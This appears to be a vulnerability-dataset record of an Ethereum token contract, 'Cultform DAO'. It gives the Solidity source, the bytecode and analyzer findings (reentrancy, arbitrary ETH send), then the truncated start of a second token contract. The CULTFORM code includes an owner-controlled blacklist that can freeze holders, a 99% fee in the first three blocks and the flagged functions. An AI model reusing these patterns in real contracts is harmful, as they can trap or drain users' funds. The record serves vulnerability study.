/** *Submitted for verification at Etherscan.io on 2022-01-06 */ /* https://t.me/cultform */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CULTFORM is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _maxTxAmount = _tTotal; uint256 private openBlock; uint256 private _swapTokensAtAmount = 100 * 10**9; // 100 tokens uint256 private _maxWalletAmount = _tTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Cultform DAO"; string private constant _symbol = "CULTFORM"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2, address payable addr3, address payable addr4, address payable addr5) { _feeAddrWallet1 = addr1; _feeAddrWallet2 = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[addr4] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[addr5] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[addr3] = true; emit Transfer( address(0), _msgSender(), _tTotal ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 12; if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { // Not over max tx amount require(amount <= _maxTxAmount, "Over max transaction amount."); // Cooldown require(cooldown[to] < block.timestamp, "Cooldown enforced."); // Max wallet require(balanceOf(to) + amount <= _maxWalletAmount, "Over max wallet amount."); cooldown[to] = block.timestamp + (30 seconds); } if ( to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from] ) { _feeAddr1 = 1; _feeAddr2 = 9; } if (openBlock + 3 >= block.number && from == uniswapV2Pair) { _feeAddr1 = 1; _feeAddr2 = 99; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } else { // Only if it's not from or to owner or from contract address. _feeAddr1 = 0; _feeAddr2 = 0; } _tokenTransfer(from, to, amount); } function swapAndLiquifyEnabled(bool enabled) public onlyOwner { inSwap = enabled; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function setMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount * 10**9; } function setMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount * 10**9; } function whitelist(address payable adr1) external onlyOwner { _isExcludedFromFee[adr1] = true; } function unwhitelist(address payable adr2) external onlyOwner { _isExcludedFromFee[adr2] = false; } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; // .5% _maxTxAmount = 1000000000000 * 10**9; _maxWalletAmount = 2000000000000 * 10**9; tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function addBot(address theBot) public onlyOwner { bots[theBot] = true; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setSwapTokens(uint256 swaptokens) public onlyOwner { _swapTokensAtAmount = swaptokens; } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { _transferStandard(sender, recipient, amount); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _feeAddr1, _feeAddr2 ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c9567bf91161006f578063c9567bf9146103af578063dd62ed3e146103c4578063e98391ff1461040a578063ec28438a1461042a578063f42938901461044a578063ffecf5161461045f57600080fd5b80638da5cb5b146102d657806395d89b41146102fe5780639a5904271461032f5780639b19251a1461034f578063a9059cbb1461036f578063bf6642e71461038f57600080fd5b806327a14fc21161010857806327a14fc214610230578063313ce5671461025057806351bc3c851461026c5780635932ead11461028157806370a08231146102a1578063715018a6146102c157600080fd5b806306fdde0314610150578063095ea7b31461019757806318160ddd146101c757806323b872dd146101ee578063273123b71461020e57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600c81526b43756c74666f726d2044414f60a01b60208201525b60405161018e9190611ac9565b60405180910390f35b3480156101a357600080fd5b506101b76101b2366004611a21565b61047f565b604051901515815260200161018e565b3480156101d357600080fd5b5069152d02c7e14af68000005b60405190815260200161018e565b3480156101fa57600080fd5b506101b76102093660046119e1565b610496565b34801561021a57600080fd5b5061022e610229366004611971565b6104ff565b005b34801561023c57600080fd5b5061022e61024b366004611a84565b610553565b34801561025c57600080fd5b506040516009815260200161018e565b34801561027857600080fd5b5061022e610591565b34801561028d57600080fd5b5061022e61029c366004611a4c565b6105aa565b3480156102ad57600080fd5b506101e06102bc366004611971565b6105f2565b3480156102cd57600080fd5b5061022e610614565b3480156102e257600080fd5b506000546040516001600160a01b03909116815260200161018e565b34801561030a57600080fd5b5060408051808201909152600881526743554c54464f524d60c01b6020820152610181565b34801561033b57600080fd5b5061022e61034a366004611971565b610688565b34801561035b57600080fd5b5061022e61036a366004611971565b6106d3565b34801561037b57600080fd5b506101b761038a366004611a21565b610721565b34801561039b57600080fd5b5061022e6103aa366004611a84565b61072e565b3480156103bb57600080fd5b5061022e61075d565b3480156103d057600080fd5b506101e06103df3660046119a9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561041657600080fd5b5061022e610425366004611a4c565b610b37565b34801561043657600080fd5b5061022e610445366004611a84565b610b7f565b34801561045657600080fd5b5061022e610bbd565b34801561046b57600080fd5b5061022e61047a366004611971565b610bc7565b600061048c338484610c15565b5060015b92915050565b60006104a3848484610d39565b6104f584336104f085604051806060016040528060288152602001611c69602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611220565b610c15565b5060019392505050565b6000546001600160a01b031633146105325760405162461bcd60e51b815260040161052990611b1c565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461057d5760405162461bcd60e51b815260040161052990611b1c565b61058b81633b9aca00611bf9565b600d5550565b600061059c306105f2565b90506105a78161125a565b50565b6000546001600160a01b031633146105d45760405162461bcd60e51b815260040161052990611b1c565b60138054911515600160b81b0260ff60b81b19909216919091179055565b6001600160a01b038116600090815260026020526040812054610490906113ff565b6000546001600160a01b0316331461063e5760405162461bcd60e51b815260040161052990611b1c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106b25760405162461bcd60e51b815260040161052990611b1c565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b031633146106fd5760405162461bcd60e51b815260040161052990611b1c565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b600061048c338484610d39565b6000546001600160a01b031633146107585760405162461bcd60e51b815260040161052990611b1c565b600c55565b6000546001600160a01b031633146107875760405162461bcd60e51b815260040161052990611b1c565b601354600160a01b900460ff16156107e15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610529565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561081f308269152d02c7e14af6800000610c15565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085857600080fd5b505afa15801561086c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610890919061198d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108d857600080fd5b505afa1580156108ec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610910919061198d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561095857600080fd5b505af115801561096c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610990919061198d565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d71947306109c0816105f2565b6000806109d56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3857600080fd5b505af1158015610a4c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a719190611a9c565b505060138054683635c9adc5dea00000600a55686c6b935b8bbd400000600d5563ffff00ff60a01b198116630101000160a01b1790915543600b5560125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610afb57600080fd5b505af1158015610b0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b339190611a68565b5050565b6000546001600160a01b03163314610b615760405162461bcd60e51b815260040161052990611b1c565b60138054911515600160a81b0260ff60a81b19909216919091179055565b6000546001600160a01b03163314610ba95760405162461bcd60e51b815260040161052990611b1c565b610bb781633b9aca00611bf9565b600a5550565b476105a781611483565b6000546001600160a01b03163314610bf15760405162461bcd60e51b815260040161052990611b1c565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610c775760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610529565b6001600160a01b038216610cd85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610529565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d9d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610529565b6001600160a01b038216610dff5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610529565b60008111610e615760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610529565b6001600e55600c600f556000546001600160a01b03848116911614801590610e9757506000546001600160a01b03838116911614155b8015610eac57506001600160a01b0383163014155b8015610ed157506001600160a01b03831660009081526005602052604090205460ff16155b8015610ef657506001600160a01b03821660009081526005602052604090205460ff16155b15611205576001600160a01b03831660009081526006602052604090205460ff16158015610f3d57506001600160a01b03821660009081526006602052604090205460ff16155b610f4657600080fd5b6013546001600160a01b038481169116148015610f7157506012546001600160a01b03838116911614155b8015610f9657506001600160a01b03821660009081526005602052604090205460ff16155b8015610fab5750601354600160b81b900460ff165b156110e857600a548111156110025760405162461bcd60e51b815260206004820152601c60248201527f4f766572206d6178207472616e73616374696f6e20616d6f756e742e000000006044820152606401610529565b6001600160a01b038216600090815260076020526040902054421161105e5760405162461bcd60e51b815260206004820152601260248201527121b7b7b63237bbb71032b73337b931b2b21760711b6044820152606401610529565b600d548161106b846105f2565b6110759190611bc1565b11156110c35760405162461bcd60e51b815260206004820152601760248201527f4f766572206d61782077616c6c657420616d6f756e742e0000000000000000006044820152606401610529565b6110ce42601e611bc1565b6001600160a01b0383166000908152600760205260409020555b6013546001600160a01b03838116911614801561111357506012546001600160a01b03848116911614155b801561113857506001600160a01b03831660009081526005602052604090205460ff16155b15611148576001600e556009600f555b43600b5460036111589190611bc1565b1015801561117357506013546001600160a01b038481169116145b15611183576001600e556063600f555b600061118e306105f2565b600c54909150811080159081906111af5750601354600160a81b900460ff16155b80156111c957506013546001600160a01b03868116911614155b80156111de5750601354600160b01b900460ff165b156111fe576111ec8261125a565b4780156111fc576111fc47611483565b505b5050611210565b6000600e819055600f555b61121b838383611508565b505050565b600081848411156112445760405162461bcd60e51b81526004016105299190611ac9565b5060006112518486611c18565b95945050505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112b057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561130457600080fd5b505afa158015611318573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133c919061198d565b8160018151811061135d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526012546113839130911684610c15565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113bc908590600090869030904290600401611b51565b600060405180830381600087803b1580156113d657600080fd5b505af11580156113ea573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60006008548211156114665760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610529565b6000611470611513565b905061147c8382611536565b9392505050565b6010546001600160a01b03166108fc61149d836002611536565b6040518115909202916000818181858888f193505050501580156114c5573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114e0836002611536565b6040518115909202916000818181858888f19350505050158015610b33573d6000803e3d6000fd5b61121b838383611578565b600080600061152061166f565b909250905061152f8282611536565b9250505090565b600061147c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116b3565b60008060008060008061158a876116e1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115bc908761173e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115eb9086611780565b6001600160a01b03891660009081526002602052604090205561160d816117df565b6116178483611829565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165c91815260200190565b60405180910390a3505050505050505050565b600854600090819069152d02c7e14af680000061168c8282611536565b8210156116aa5750506008549269152d02c7e14af680000092509050565b90939092509050565b600081836116d45760405162461bcd60e51b81526004016105299190611ac9565b5060006112518486611bd9565b60008060008060008060008060006116fe8a600e54600f5461184d565b925092509250600061170e611513565b905060008060006117218e8787876118a2565b919e509c509a509598509396509194505050505091939550919395565b600061147c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611220565b60008061178d8385611bc1565b90508381101561147c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610529565b60006117e9611513565b905060006117f783836118f2565b306000908152600260205260409020549091506118149082611780565b30600090815260026020526040902055505050565b600854611836908361173e565b6008556009546118469082611780565b6009555050565b6000808080611867606461186189896118f2565b90611536565b9050600061187a60646118618a896118f2565b905060006118928261188c8b8661173e565b9061173e565b9992985090965090945050505050565b60008080806118b188866118f2565b905060006118bf88876118f2565b905060006118cd88886118f2565b905060006118df8261188c868661173e565b939b939a50919850919650505050505050565b60008261190157506000610490565b600061190d8385611bf9565b90508261191a8583611bd9565b1461147c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610529565b600060208284031215611982578081fd5b813561147c81611c45565b60006020828403121561199e578081fd5b815161147c81611c45565b600080604083850312156119bb578081fd5b82356119c681611c45565b915060208301356119d681611c45565b809150509250929050565b6000806000606084860312156119f5578081fd5b8335611a0081611c45565b92506020840135611a1081611c45565b929592945050506040919091013590565b60008060408385031215611a33578182fd5b8235611a3e81611c45565b946020939093013593505050565b600060208284031215611a5d578081fd5b813561147c81611c5a565b600060208284031215611a79578081fd5b815161147c81611c5a565b600060208284031215611a95578081fd5b5035919050565b600080600060608486031215611ab0578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611af557858101830151858201604001528201611ad9565b81811115611b065783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ba05784516001600160a01b031683529383019391830191600101611b7b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611bd457611bd4611c2f565b500190565b600082611bf457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611c1357611c13611c2f565b500290565b600082821015611c2a57611c2a611c2f565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146105a757600080fd5b80151581146105a757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122035cff7cd0e0b62fbc5c08e2cd66ce7139bb0bc4d10c82e93088e05dd13e2682a64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,359
0x6e0ef8bcf9421146f51e72aeac0cbfe841fadcc5
/** *Submitted for verification at Etherscan.io on 2021-07-01 */ /** *Submitted for verification at Etherscan.io on 2019-07-08 */ pragma solidity ^0.4.11; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) public balances; // *added public mapping (address => mapping (address => uint256)) public allowed; // *added public } contract APDPToken is StandardToken, Pausable { string public constant name = "APDP Token"; string public constant symbol = "APDP"; uint8 public constant decimals = 6; uint256 public constant totalSupply = 2100000000; // Holds the amount and date of a given balance lock. struct BalanceLock { uint256 amount; uint256 unlockDate; } // A mapping of balance lock to a given address. mapping (address => BalanceLock) public balanceLocks; // An event to notify that _owner has locked a balance. event BalanceLocked(address indexed _owner, uint256 _oldLockedAmount, uint256 _newLockedAmount, uint256 _expiry); /** @dev Constructor for the contract. */ function APDPToken() Pausable() { balances[msg.sender] = totalSupply; Transfer(0x0, msg.sender, totalSupply); } /** @dev Sets a token balance to be locked by the sender, on the condition * that the amount is equal or greater than the previous amount, or if the * previous lock time has expired. * @param _value The amount be locked. */ //设置锁仓 function lockBalance(address addr, uint256 _value,uint256 lockingDays) onlyOwner { // Check if the lock on previously locked tokens is still active. if (balanceLocks[addr].unlockDate > now) { // 未到可转账日期 // Only allow confirming the lock or adding to it. require(_value >= balanceLocks[addr].amount); } // Ensure that no more than the balance can be locked. require(balances[addr] >= _value); // convert days to seconds uint256 lockingPeriod = lockingDays*24*3600; // Lock tokens and notify. uint256 _expiry = now + lockingPeriod; BalanceLocked(addr, balanceLocks[addr].amount, _value, _expiry); balanceLocks[addr] = BalanceLock(_value, _expiry); } /** @dev Returns the balance that a given address has available for transfer. * @param _owner The address of the token owner. */ // 返回用户当前可用余额 function availableBalance(address _owner) constant returns(uint256) { if (balanceLocks[_owner].unlockDate < now) { return balances[_owner]; } else { assert(balances[_owner] >= balanceLocks[_owner].amount); return balances[_owner] - balanceLocks[_owner].amount; } } /** @dev Send `_value` token to `_to` from `msg.sender`, on the condition * that there are enough unlocked tokens in the `msg.sender` account. * @param _to The address of the recipient. * @param _value The amount of token to be transferred. * @return Whether the transfer was successful or not. */ // function transfer(address _to, uint256 _value) whenNotPaused returns (bool success) { require(availableBalance(msg.sender) >= _value); return super.transfer(_to, _value); } /** @dev Send `_value` token to `_to` from `_from` on the condition * that there are enough unlocked tokens in the `_from` account. * @param _from The address of the sender. * @param _to The address of the recipient. * @param _value The amount of token to be transferred. * @return Whether the transfer was successful or not. */ function transferFrom(address _from, address _to, uint256 _value) whenNotPaused returns (bool success) { require(availableBalance(_from) >= _value); return super.transferFrom(_from, _to, 